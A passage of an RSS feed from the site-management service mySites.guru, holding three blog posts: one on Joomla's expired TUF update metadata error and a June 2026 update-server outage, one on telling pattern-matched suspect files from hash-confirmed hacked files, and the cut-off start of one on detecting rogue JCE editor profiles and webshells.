&lt;p&gt;So when Joomla says the offered update has expired, it is not describing your site. It is telling you the metadata it just fetched from the update server was past its expiry date, and it correctly refused to trust it. That refusal is the feature, not the bug.&lt;/p&gt;
&lt;h2&gt;Why Is My Joomla Site Showing This If Nothing Is Wrong?&lt;/h2&gt;
&lt;p&gt;Because the expired metadata almost always comes from Joomla&apos;s own update server, not your site. There are two distinct causes, and they need different responses.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cause one, the common one: Joomla&apos;s update server served an expired file.&lt;/strong&gt; Joomla re-signs the shortest-lived metadata file, &lt;code&gt;timestamp.json&lt;/code&gt;, every day, because it is set to expire after just three days. That fresh file then has to be deployed to the public update server and the CDN cache cleared. If that daily deploy stalls, the server keeps serving the previous file until it expires, and from that moment every site that checks for updates gets the freeze-attack error. Nothing is wrong with any of those sites. They are all correctly refusing an expired file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cause two, the rarer one: your own cached metadata is genuinely stale.&lt;/strong&gt; A site that has been dormant for months, or one restored from an old backup, can hold a long-expired copy of the metadata locally. When it finally checks for updates and compares its cached file against the current time, the file is expired and the same error fires. This one really is local to your site, and it is the only case where resetting your update component is the correct fix.&lt;/p&gt;
&lt;p&gt;Telling them apart is simple, and the next section is the test.&lt;/p&gt;
&lt;h2&gt;How Do I Tell Whether It Is Joomla&apos;s Server or My Site?&lt;/h2&gt;
&lt;p&gt;Run two quick checks before you change anything.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wait an hour and re-check.&lt;/strong&gt; Go to System then Update and click Check for Updates again about an hour later. If it succeeds, the cause was a transient expired file on Joomla&apos;s server that has since refreshed. You are done, and you correctly avoided touching a site that was never broken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Try Upload and Update.&lt;/strong&gt; Download the version you want from joomla.org and use Extensions then Manage then Upload and Update. This path installs a package you supply by hand and bypasses the TUF live update channel completely, so the expired-metadata check never runs. If Upload and Update works while the normal check fails, that is near-proof the package is fine and only the live update channel is affected, which means the problem is the server, not your install.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the error clears on its own within a day, or appears on multiple sites at once, it is the server-side cause and there is nothing to fix on your end. If it persists for days on a single long-dormant or restored site while other sites update fine, it is the local-cache cause, and only then should you reset.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;A host-side or CDN cache in front of your outbound update requests can also hold an expired file locally. If you run your own caching proxy, ask your host not to cache responses from update.joomla.org for longer than about an hour.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A Real Example: The 13 June 2026 Outage, Traced End to End&lt;/h2&gt;
&lt;p&gt;This is the part the forum threads never get to. On 13 June 2026 we watched the whole chain in real time, so here is exactly what broke.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla&apos;s &lt;code&gt;timestamp.json&lt;/code&gt; has a three-day life. Version 1100 was signed on 10 June with an expiry stamped at 2026-06-13 01:20 UTC, and it was the last version the update server received (its copy was last modified 11 June). The job that re-signs the file and pushes it to the server is supposed to replace it every day, well before that expiry. It stopped.&lt;/p&gt;
&lt;p&gt;The publish pipeline has two halves. A signing half re-signs the timestamp and commits it to the &lt;code&gt;joomla/updates&lt;/code&gt; repository. A deploy half, run by the project&apos;s Drone CI, copies the signed files to the public update server over SFTP and purges the Cloudflare cache, then posts a &quot;Repository deployed&quot; status back on the commit. Looking at the commit history, that &quot;Repository deployed&quot; status appears on every commit up to and including 10 June, then vanishes. From 11 June onward, every &quot;Update timestamp&quot; commit sits with no deploy status at all. Drone simply stopped deploying after 10 June.&lt;/p&gt;
&lt;p&gt;That is why version 1100 was the last file the update server received before the deploys stopped. It expired on 13 June at 01:20 UTC, three days after it was signed, and nothing newer reached the server to replace it.&lt;/p&gt;
&lt;p&gt;The signing half, meanwhile, kept running. The repository normally gets one &quot;Update timestamp&quot; commit a day. On 13 June it got four: the scheduled 01:21 run (version 1103), then three more off-schedule at 13:12, 14:27 and 18:27, up to version 1106. That cadence is a maintainer manually re-running the pipeline through the afternoon, trying to get a deploy to fire. Each run re-signed and committed a fresh timestamp to the repository, and not one of them changed anything on the live server, because the deploy half was the part that was down. We confirmed the server was still serving the expired version 1100 by re-requesting with a cache-buster and getting 1100 back, last modified 11 June, hours after the repository had raced ahead to 1106.&lt;/p&gt;
&lt;p&gt;Snapshot and targets, the other two metadata files, were fine the whole time (they expire in December and August). It was purely the expired timestamp gate, served by a deploy pipeline that had silently stopped three days earlier, blocking every refresh.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The result: a global, transient outage of Joomla&apos;s update check, where the metadata was genuinely expired and every site correctly refused it, fixed not by any of those sites but by Joomla&apos;s infrastructure team getting the deploy working again.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Why Joomla 6 Sites Got Hit Hardest&lt;/h2&gt;
&lt;p&gt;Joomla runs two parallel update channels, and which one your site uses depends on its version.&lt;/p&gt;
&lt;p&gt;Older sites use the plain XML channel at &lt;code&gt;update.joomla.org/core/list.xml&lt;/code&gt;. It is an unsigned set of XML files that has existed for years, and it was completely healthy throughout this outage, correctly offering the current versions to the sites that read it. Sites on Joomla 4 and earlier never saw the error, because their update path was never the broken one.&lt;/p&gt;
&lt;p&gt;Sites on Joomla 5.1 and later use the signed TUF channel instead, and that is the one with the expired timestamp gate. Here is the detail that explains why the reporter on Joomla 6.0.4 was stuck while plenty of other sites updated fine: the legacy XML channel stops at the Joomla 5 line. It offers 5.4.6 as the newest core and lists no Joomla 6 release at all. Every Joomla 6 release, 6.0.1 through 6.1.1, is published only through the signed TUF channel.&lt;/p&gt;
&lt;p&gt;That leaves a Joomla 6 site with no fallback. When the TUF timestamp expired, there was no second, unsigned channel to drop back to, so the update check was fully blocked. The signed data itself was never the problem. The targets file that lists every available version, including the 6.1.1 the reporter wanted, was valid and current the whole time. The only thing standing between that site and its update was the single expired timestamp file the deploy pipeline had stopped refreshing.&lt;/p&gt;
&lt;h2&gt;This Has Happened Before, Repeatedly&lt;/h2&gt;
&lt;p&gt;The reason we treat this as a server-side event first and a site problem second is that the public record is clear: the same error has surfaced over and over for two years, and every time it has been fixed on Joomla&apos;s side with no site touching anything.&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Date&lt;/th&gt;
        &lt;th&gt;Report&lt;/th&gt;
        &lt;th&gt;Outcome&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;th&gt;Jul 2024&lt;/th&gt;
        &lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772&quot;&gt;Issue #43772&lt;/a&gt; (Joomla 5.1.2): a corrupt, zero-length metadata file served to many sites.&lt;/td&gt;
        &lt;td&gt;Closed the same day. Fixed at the server, no Joomla release.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;Jan 2025&lt;/th&gt;
        &lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/44798&quot;&gt;Issue #44798&lt;/a&gt; (Joomla 5.2.3): &quot;Remote timestamp metadata expired&quot; while updating.&lt;/td&gt;
        &lt;td&gt;Fixed server-side within hours. No client action.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;Jul 2025&lt;/th&gt;
        &lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789&quot;&gt;Issue #45789&lt;/a&gt; (Joomla 5.3): &quot;happens to many clients&quot; and even when no update was due.&lt;/td&gt;
        &lt;td&gt;Closed in minutes. &quot;Already solved&quot; at the server end.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;Jun 2026&lt;/th&gt;
        &lt;td&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47950&quot;&gt;Issue #47950&lt;/a&gt; (Joomla 6.0.4): the outage traced above, expired timestamp v1100.&lt;/td&gt;
        &lt;td&gt;Resolved by redeploying the timestamp file.&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The maintainers have been candid about the cause from the start. Back on the &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772&quot;&gt;July 2024 report&lt;/a&gt;, Joomla release-team member Harald Leithner &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772#issuecomment-2222641549&quot;&gt;laid out the exact mechanism&lt;/a&gt; that has caused every recurrence since:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Joomla uses cloudflare as CDN for our update server, it caches the tuf json files (for j5.1+) and the xml files (for &amp;lt; 5.1). [...] Everyday the timestamp.json is regenerated with an uptodate time, we upload the file from the drone CI to our webserver, this tooks a couple of ms. In case cloudflare (or one of the cloudflare mirrors) downloads the file at exact the time the file is created it&apos;s possible that it gets a 0-length file. We use rclone for upload which should prevent this error but I hadn&apos;t the time to debug it in deep. Clearing our cloudflare cache resolves this issue [...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When it recurred in &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789&quot;&gt;July 2025&lt;/a&gt;, Joomla co-founder Brian Teeman &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/45789#issuecomment-3121801430&quot;&gt;gave the same verdict in a sentence&lt;/a&gt;: &quot;I am assuming that it was at the TUF server end and it has been fixed there. So no Joomla release required, the problem should have already disappeared&quot;.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/43772#issuecomment-2236088658&quot;&gt;reporter on the same issue&lt;/a&gt; put the client-side takeaway most plainly: it is on Joomla&apos;s infrastructure side that Cloudflare does the caching, not on yours. Simply wait.&lt;/p&gt;
&lt;p&gt;That is the whole reason this post leads with &quot;it is not your site.&quot; A documented, recurring race condition on Joomla&apos;s own update CDN is the prior probability you should start from every time you see this error.&lt;/p&gt;
&lt;h2&gt;Should I Reset My Joomla Update Component?&lt;/h2&gt;
&lt;p&gt;Only if you have ruled out the server-side cause first. Resetting is the right fix for genuinely stale local metadata and the wrong fix for a transient server glitch, where it does nothing except cost you time.&lt;/p&gt;
&lt;p&gt;When you have confirmed it is local (the error persists for days on one dormant or restored site while others update normally), you have three options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reset Joomla! Update via Akeeba Admin Tools.&lt;/strong&gt; If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Admin Tools&lt;/a&gt;, its Reset Joomla! Update feature clears the cached update state cleanly. This is the least error-prone option.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear the update sites cache.&lt;/strong&gt; In Extensions then Update Sites, rebuild and re-check so the next fetch pulls fresh signed metadata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upload and Update.&lt;/strong&gt; Download the package and install it by hand, which sidesteps the TUF channel entirely and gets the site current immediately.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a site you are bringing back from a long sleep, Upload and Update is often the fastest path to current, after which the normal channel works again because the now-current install fetches fresh metadata on its next check.&lt;/p&gt;
&lt;h2&gt;Watching This Across a Portfolio Without Refreshing Tabs&lt;/h2&gt;
&lt;p&gt;A single site owner can afford to wait an hour and re-check. An agency running &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;dozens or hundreds of Joomla sites&lt;/a&gt; cannot afford to discover an update outage one support ticket at a time.&lt;/p&gt;
&lt;p&gt;mySites.guru already runs a daily check against every connected site&apos;s update streams and emails you the result of &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;auto-updates&lt;/a&gt; for both successes and failures, so an account-wide pattern of update failures surfaces as a cluster of alerts rather than a slow trickle of confused clients. Pair that with &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; and a &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;scheduled backup&lt;/a&gt; before any update runs, and an event like the 13 June outage becomes something you read about in an alert and choose to ignore, because you already know it is Joomla&apos;s server and not your sites.&lt;/p&gt;
&lt;p&gt;&quot;The offered update has expired&quot; is a failure that looks local but is usually global. The agencies that handle it calmly are the ones with a portfolio-wide view that shows them, in one glance, that every site is failing the same check at the same time. That is the signature of a server-side cause, and the signal to wait rather than touch anything.&lt;/p&gt;
&lt;h2&gt;When the Error Is Worth Actually Worrying About&lt;/h2&gt;
&lt;p&gt;There is one case where this error is a real local problem you should act on: a single production site, kept current, that suddenly cannot update while every other site you run can. That rules out the server-side cause. At that point you are looking at genuinely stale local metadata, a host-side cache holding an expired file, or a clock on the server set wrong enough that even fresh metadata looks expired. Check the server time first (an NTP drift into the future makes every valid file look expired), then the cache, then reset the update component.&lt;/p&gt;
&lt;p&gt;Everything else, the overwhelming majority of the time, is Joomla&apos;s update server having a bad few hours. Your site refusing the expired file is the system protecting you, and the correct response is patience, not surgery.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/&quot;&gt;Joomla update error 999: a dead extension redirecting to LinkedIn&lt;/a&gt; - a different Joomla update failure with a completely different cause, an abandoned third-party update site rather than a Joomla.org metadata outage.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework (TUF)&lt;/a&gt; - the specification behind Joomla&apos;s signed core updates, including how metadata expiry defends against freeze attacks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Joomla_Update/en&quot;&gt;Joomla Documentation: Joomla Update&lt;/a&gt; - the official core update screen, including Upload and Update.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Joomla Community Magazine: Tamper-Proof core updates for Joomla&lt;/a&gt; - the announcement of TUF landing in Joomla 5.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/reset-joomla-update.html&quot;&gt;Akeeba: Reset Joomla! Update&lt;/a&gt; - how to clear cached update state when the local-metadata cause is confirmed.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Know before your clients do&lt;/p&gt;
  &lt;p&gt;mySites.guru watches the updates, backups, uptime, and security of every Joomla and WordPress site you run, from one dashboard, so an account-wide event like an update-server outage reaches you as an alert instead of a support ticket.&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free month&lt;/a&gt;
    &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>upgrade</category><category>tuf</category><category>manage joomla</category><enclosure url="https://mysites.guru/_astro/joomla-update-not-possible-offered-update-has-expired.CcRDGqMp.png" length="0" type="image/png"/></item><item><title>Suspect Content vs Hacked Files: Two mySites.guru Tools, One Big Difference</title><link>https://mysites.guru/blog/suspect-content-vs-hacked-files/</link><guid isPermaLink="true">https://mysites.guru/blog/suspect-content-vs-hacked-files/</guid><description>mySites.guru now has two tools: Suspect content matches a file&apos;s content, Hacked files matches its hash. Learn the difference and triage your audit in minutes.</description><pubDate>Thu, 11 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your audit finishes and you go looking at the files it flagged. mySites.guru now hands you two separate tools for this, not one list. One of them, Suspect content, is a pile of files worth a look. The other, Hacked files, is a pile of files that are hacked, full stop. Knowing which tool you&apos;re in changes what you do next.&lt;/p&gt;
&lt;p&gt;The big difference comes down to &lt;em&gt;how&lt;/em&gt; a file lands in each tool. Suspect content matches on the file&apos;s &lt;strong&gt;content&lt;/strong&gt;. Hacked files matches on the file&apos;s &lt;strong&gt;hash&lt;/strong&gt;. That one distinction is why they&apos;re separate, and it&apos;s worth a minute to understand before you start deleting anything. If your sites aren&apos;t connected yet, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; will show you both tools against your own webspace.&lt;/p&gt;
&lt;h2&gt;Two tools, one source scan&lt;/h2&gt;
&lt;p&gt;Every mySites.guru audit reads every file in your webspace, every line, including the dormant files a browser-based scanner never sees. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;full mechanics of the scan&lt;/a&gt; are a post of their own. From that one scan, two different detection methods feed two different tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Suspect content&lt;/strong&gt;: the file&apos;s &lt;em&gt;content&lt;/em&gt; matches one or more of 1,500+ hand-written hack patterns. Translation: worth a look. This is a heuristic, and false positives are expected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hacked files&lt;/strong&gt;: the file&apos;s MD5 hash matches a file already confirmed as hacked. Translation: confirmed. This is a fact, with no false positives.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You&apos;ll find both sitting next to each other under the Hacked group in your audit:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;These two used to share a list. Giving each its own tool means you never again confuse a file that needs a human eye with a file that has already been condemned.&lt;/p&gt;
&lt;p&gt;One thing surprises people: &lt;strong&gt;the Suspect content tool may well contain hacked files.&lt;/strong&gt; Not files we&apos;ve cleared, files we simply haven&apos;t confirmed yet. A backdoor dropped on your site this morning matches our patterns the moment we scan it, so it shows up under Suspect content. It only moves to the Hacked files tool once its exact hash is on our confirmed list, which happens after a human or the AI reviews it. Suspect content is the inbound net. Hacked files is everything that net has already caught and condemned.&lt;/p&gt;
&lt;h2&gt;What does a suspect content match actually mean?&lt;/h2&gt;
&lt;p&gt;A suspect content match means a file in your webspace contains code matching at least one of more than 1,500 patterns built from real hacks found on real Joomla and WordPress sites over two decades. It does not mean the file is malicious. It means the file uses code that hackers also use, and it deserves a look.&lt;/p&gt;
&lt;p&gt;Hackers write in the same language as legitimate developers. &lt;code&gt;move_uploaded_file()&lt;/code&gt; powers every legitimate upload form, and every dropped webshell. &lt;code&gt;mail()&lt;/code&gt; sends your contact form enquiries, and a spammer&apos;s payload. Base64 turns up in CSS image handling as often as it does in obfuscated backdoors. A pattern match without context proves nothing either way, which is exactly why these files land in Suspect content rather than Hacked files.&lt;/p&gt;
&lt;p&gt;False positives here are the design working, not failing. The patterns are deliberately inclusive because the alternative is missing the one real backdoor among the 20,000 files on a typical site. The Suspect content tool&apos;s job is to shrink 20,000 files down to a dozen worth reading, and across the 90,000+ sites connected to mySites.guru, that&apos;s exactly what it does. This is the same reason a host&apos;s scanner can wrongly flag legitimate code, as happened when &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH called one of our backup files malware&lt;/a&gt;. The difference is what you do with the flag: investigate it, or treat it as a verdict.&lt;/p&gt;
&lt;p&gt;Click any flagged file name and the tool shows you the exact matched lines with line numbers, alongside the file&apos;s modification date, size, and permissions. You can edit the file in place or delete it without ever opening an FTP client. Here&apos;s a real one, a BYTE_BUNK webshell caught with 7 pattern matches across its 1,698 lines, from &lt;code&gt;shell_exec()&lt;/code&gt; calls to its own boastful title tag:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The Hacked files tool means act now&lt;/h2&gt;
&lt;p&gt;The Hacked files tool lists files whose MD5 hash matches a file already confirmed as hacked. An identical hash means identical bytes: your file is the same, character for character, as one that has been examined and condemned before. There is no maybe at this confidence level, and no false positives. Where Suspect content judges a file on what it contains, Hacked files judges it on what it &lt;em&gt;is&lt;/em&gt;, the full-file hash, which is why this tool gets to call its results facts.&lt;/p&gt;
&lt;p&gt;Every one of the 14,000+ hashes on that list has been through review before it earned its place. For years that reviewer was me, reading each backdoor line by line before flagging it. Today the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt; adds confirmed-malicious verdicts to the same list, and I still see every AI verdict and overrule the wrong ones before they pollute the data.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;A file in the Hacked files tool means your site is compromised, not just that one file. The attacker got in somehow. Deleting the file removes a symptom, not the entry point.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a file lands in Hacked files, switch from triage to incident response: follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;, or hand the whole job to &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; for a set-fee cleanup.&lt;/p&gt;
&lt;h2&gt;How do I triage a wall of flagged files?&lt;/h2&gt;
&lt;p&gt;Work in confidence order: the Hacked files tool first, then AI verdicts on the Suspect content list, then manual review. This turns a wall of thirty flags into three short queues, and most of the time the third queue is empty by the time you reach it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: open the Hacked files tool.&lt;/strong&gt; Anything listed here is a confirmed compromise, a full-file hash match. Stop triaging and start cleaning, as above. If this tool is empty, good, but don&apos;t stop: a freshly dropped backdoor we haven&apos;t confirmed yet is sitting in Suspect content, not here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: AI analysis on the Suspect content list.&lt;/strong&gt; Click the AI icon on any single file, or use Analyse Files with AI to queue the lot. Each file comes back with a verdict: safe, suspicious, or malicious, with the problem lines identified. Verdicts are cached globally by file hash, so the files of a popular plugin have usually been analysed by someone already and come back instantly at no cost. A malicious verdict adds that file&apos;s hash to the confirmed list, so the next time anyone meets that exact file, it lands straight in their Hacked files tool.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 3: manually review what&apos;s left.&lt;/strong&gt; For the handful of files the AI marks suspicious, open the matched lines and apply context the AI may lack. Does the file belong to a plugin you actually installed? Does its modification date match the rest of the package, or did it change last Tuesday at 3am? Is it a PHP file sitting in an images folder? Compare it against the original extension package if you can.&lt;/p&gt;
&lt;p&gt;If a file survives all three steps and you&apos;re still unsure, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;send it to me&lt;/a&gt; and I&apos;ll look at it myself. That offer has been part of the service since 2012.&lt;/p&gt;
&lt;h2&gt;Your confirmed hack protects everyone else&lt;/h2&gt;
&lt;p&gt;Every confirmed hacked file makes the whole network safer. The moment a hash is confirmed, whether by my review or an AI verdict I&apos;ve checked, it joins the global hacklist, and the next audit of any connected site checks against it. The same backdoor dropped on a hundred sites only needs to be condemned once.&lt;/p&gt;
&lt;p&gt;This crowd-sourced model is why detection improves daily rather than quarterly. We run over 3,000 audits a day and find over 200 hacked sites a week, and every one of those finds feeds patterns and hashes back into the checks that run on your sites tomorrow.&lt;/p&gt;
&lt;h2&gt;What if I&apos;m still not sure about a file?&lt;/h2&gt;
&lt;p&gt;Don&apos;t whitelist it, because you can&apos;t: mySites.guru deliberately has no user whitelisting, for reasons (including an expensive legal one) covered in &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;the suspect content deep-dive&lt;/a&gt;. A file you hide from yourself today is a backdoor you won&apos;t see next month.&lt;/p&gt;
&lt;p&gt;Instead, leave it flagged and treat it as a known quantity. A suspect flag costs you nothing while it sits there; you&apos;ll re-confirm it in seconds on the next audit with cached AI verdicts. And if a file ever nags at you, that&apos;s what the manual review channel is for.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nsacyber/Mitigating-Web-Shells&quot;&gt;NSA &amp;amp; ASD: Mitigating Web Shells&lt;/a&gt; - joint guidance on detecting and blocking web shell malware, with detection scripts.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.eval.php&quot;&gt;PHP Manual: eval()&lt;/a&gt; - the official documentation, complete with its famous warning about why this construct is dangerous.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/documentation/article/faq-my-site-was-hacked/&quot;&gt;WordPress.org: FAQ - My site was hacked&lt;/a&gt; - the official WordPress recovery checklist.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Code_Injection&quot;&gt;OWASP: Code Injection&lt;/a&gt; - background on the attack class most webshells belong to.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hack detection</category><category>malware</category><category>audit tools</category><enclosure url="https://mysites.guru/_astro/suspect-content-vs-hacked-files.D46puiAm.png" length="0" type="image/png"/></item><item><title>A New mySites.guru Tool to Find, and Fix, the JCE Profiles Hack (June 2026)</title><link>https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/</link><guid isPermaLink="true">https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/</guid><description>mySites.guru now has a dedicated check that finds rogue JCE editor profiles and webshells across your Joomla sites, then lets you clean and patch them from one screen.</description><pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The current secure version of JCE is 2.9.99.10&lt;/strong&gt;, released 29 July 2026. It is the latest release and the one to patch every site to: it fixes an &lt;a href=&quot;https://mysites.guru/blog/jce-2-9-99-10-security-update/&quot;&gt;authenticated file rename flaw&lt;/a&gt; and, going by the code rather than the changelog, hardens the upload path considerably. It sits on top of the security lineage that matters here: the 2.9.99.8 File Browser hardening, the 2.9.99.7 upload-regression fix and group whitelist, the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;2.9.99.6 audit&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;2.9.99.5 fix&lt;/a&gt; for the flaw itself. Anything below 2.9.99.5 still carries the unauthenticated profile upload flaw this attack exploits.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The whole story in one place:&lt;/strong&gt; our &lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;JCE Profiles Hack page&lt;/a&gt; is the page of truth for this attack, with the indicators of compromise, the tool that finds and fixes it, and links to every post below.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our &lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;live extension ranking&lt;/a&gt;, neck and neck with Akeeba Backup. So when the JCE profiles attack started landing on real sites this month, &quot;Are any of the sites I&apos;m responsible for hacked!?&quot; became a question every Joomla agency suddenly needed to answer. mySites.guru now answers it for you, automatically, on every site you manage.&lt;/p&gt;
&lt;p&gt;We have added a new dedicated check, &lt;strong&gt;Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/strong&gt;. It runs on every snapshot, twice a day, on each connected Joomla site, and &lt;strong&gt;finds&lt;/strong&gt; the fingerprint of this attack automatically: rogue editor profiles and the webshells they drop. When it flags something, &lt;strong&gt;fixing&lt;/strong&gt; it is a deliberate, one-click action you trigger yourself, on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE to the patched version, all from one screen. It does not delete anything on its own, because you want to see what is there and take a copy first. This post covers what it checks and how to use it, and the live hack that prompted us to build it.&lt;/p&gt;
&lt;p&gt;We built it because we kept finding the real thing. While looking into why a Joomla site was throwing a template error, we found the aftermath of the JCE profiles attack on the live site: a rogue editor profile built to allow file uploads, and a set of webshells dropped through it. The site was running a JCE version old enough to carry the unauthenticated profile upload flaw, &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;CVE-2026-48907&lt;/a&gt;. When we swept the rest of that portfolio, two more sites were carrying it too. Doing that sweep by hand across 40 client sites is exactly the work that does not get done, so we automated it.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru now has a dedicated &lt;strong&gt;Check for JCE Rogue Profiles &amp;amp; Backdoors&lt;/strong&gt; that runs on every snapshot, twice a day, on every connected Joomla site&lt;/li&gt;
&lt;li&gt;It &lt;strong&gt;finds&lt;/strong&gt; rogue editor profiles and the webshells they drop automatically. When it flags something, you &lt;strong&gt;fix&lt;/strong&gt; it manually from one screen: on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE with a click each&lt;/li&gt;
&lt;li&gt;It is scoped to this attack&apos;s fingerprint, so a merely permissive profile (one with &lt;code&gt;allow_php&lt;/code&gt; on for legitimate reasons) is &lt;strong&gt;not&lt;/strong&gt; flagged. The discriminator is whether a profile lets you upload a script file&lt;/li&gt;
